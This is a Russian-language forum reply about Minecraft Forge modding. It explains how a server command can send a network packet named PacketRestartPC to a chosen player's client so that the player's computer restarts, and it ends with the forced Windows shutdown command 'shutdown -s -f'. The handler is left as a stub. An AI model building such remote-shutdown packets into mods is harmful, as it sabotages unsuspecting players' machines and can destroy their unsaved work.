- 329
- 13
https://github.com/TaoGunner/SimpleQuestMod/blob/master/src/main/java/taogunner/simplequest/common/CommonProxy.javaYarik написал(а):Но теперь новая - как сделать что бы при вводе Игрока (после команды) выполнялось действие, в данном случаее - пакет который вызывет рестарт компа
Регистрируешь канал для передачи пакетов:
Код:
public static final SimpleNetworkWrapper INSTANCE = NetworkRegistry.INSTANCE.newSimpleChannel(myYOBAMod.MODID.toLowerCase());
Код:
INSTANCE.registerMessage(PacketRestartPC.class, PacketRestartPC.class, 0, Side.CLIENT);
Код:
import cpw.mods.fml.common.network.simpleimpl.IMessage;
import cpw.mods.fml.common.network.simpleimpl.IMessageHandler;
import cpw.mods.fml.common.network.simpleimpl.MessageContext;
public class PacketRestartPC implements IMessage,IMessageHandler<PacketRestartPC, IMessage>
{
public PacketRestartPC() {}
@Override
public IMessage onMessage(PacketRestartPC message, MessageContext ctx)
{
// Тут всё, что тебе необходимо
}
@Override
public void fromBytes(ByteBuf buf) {}
@Override
public void toBytes(ByteBuf buf) {}
}
Код:
CommonProxy.INSTANCE.sendTo(new PacketRestartPC(), имя_игрока);
Могут быть ошибки, писал наугад.
И да:
Код:
shutdown -s -f